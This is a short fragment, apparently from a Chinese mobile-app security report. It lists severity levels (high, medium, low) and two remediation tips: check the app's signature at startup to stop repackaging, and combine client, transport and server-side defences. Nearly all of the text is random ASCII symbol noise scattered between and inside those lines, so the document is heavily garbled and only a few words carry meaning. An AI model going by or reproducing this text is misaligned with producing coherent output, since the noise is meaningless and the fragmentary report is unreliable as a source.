2 n, w" I* {' t+ \' u; P + D& r" H% \. I1 @9 y9 x5 `6 E. }3 E: U6 _' U M# Y; b9 o. ]$ G% P! w3 N4 A; _" q. W8 r: r. U# j, Z9 S& Y# x; \: W4 M* g% Z: h. d$ a# J$ J4 G) r: }: l# p6 [- J& |. V3 N; Z6 a( P0 C- O* o0 e o" z9 ?% |9 o4 w+ f8 p6 r, y M/ M1 x. q3 s0 \1 a+ c8 P7 {* I2 ]/ M' q5 B' d5 n& A2 _7 h7 b I" M5 R/ Y. {, Z- n( }) ?5 q) [8 W6 G) a4 {( O7 t0 v1 @8 C/ m5 t% l4 N( M/ }' ^# I4 v2 Z* `# v- ?+ D q2 P" n, a, ] i4 u/ N: d; I

严重程度 , a0 c9 n& D/ C6 e% s; s9 z , V. N8 b" E f1 l* o$ v' \, ^+ O	; M$ M# Q3 g9 K$ T7 c% a 5 G/ w7 H. u! M 高 . |( g5 H0 E# x7 y( P/ F # a% d+ O0 ?9 j+ p& r3 V. ^2 @	* ?' b F6 Z6 m ■ 2 E- L* c) V" Z8 v+ d # S/ h: Y# Z6 \: R/ x! D: B3 r	; H& H4 [8 Q2 U; s% ^3 d9 p: w" `) w2 v 5 w5 K7 v# h* g/ W ! A$ n1 r! q( ]+ \( n6 C; D' r' f 中 . F0 f, n4 j; D4 L . i- l, H( \6 D: t' w/ b( z	1 ?! {7 z$ K) ?) m7 \8 f- s % Y7 C# {* f3 V0 O, U+ Z. Q 5 z7 }" S; B# ^1 s, _ p( B# u( I* T5 i6 Y   8 h* j3 Y8 v; H$ K4 v, f5 ?4 s+ A2 u7 F 1 F% g* e5 Y% C: l% t: M + q/ W& N4 O7 N) B: G0 {3 Y5 i	5 }' _2 f a# @, L9 \! i 低 ( H- k, c' s% n, B/ | / H& U& O: S- S2 t6 |- N; [	( n+ x' I2 h$ Q& W( F8 B# k 5 A" @; L6 q( n5 C

( j: y+ R( f5 e' O+ \; o

5 Q3 h8 ^$ h4 w9 R* G& o " H# v) b$ ?; @. j$ x

: P1 i$ }" U9 W5 b0 B+ } 6 }! o5 z6 a% [' B! U: \& @8 S$ |   1 ~" p( f5 ~" q$ Z( f& H' P) ^

2 ]/ k: I, h3 T5 V/ m1 j4 R 5 g" p6 Q' c& N 修复方法： " ]5 k. _. D; f2 }, t4 I$ N+ C s

3 }* S# ~4 L+ h) @# x# f ' f% l( v! @, n. i- f7 [. L

9 N% J6 Z' L" y& R; b. { + s. |2 y. p$ j q               1.在 APP 启动时应做签名校验防止二次打包。
0 z" Z# a X' A9 p$ j, J1 N 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。

. A1 s( Y1 f* q3 Q$ Q$ x ! ~# w$ d+ N: T1 r$ I( w7 E* L

9 v% A6 S5 n& j/ I ) ?- x5 F# j" e3 C" n0 ?   " a- S. B. g7 [7 l 4 E5 ]9 m" F9 z

; u7 N- }5 S0 z$ u" |. b ; B% N7 n4 x. O, y5 D) O

/ ]$ c+ l' Y7 y 7 Q& L, m2 T6 Q5 |& |, l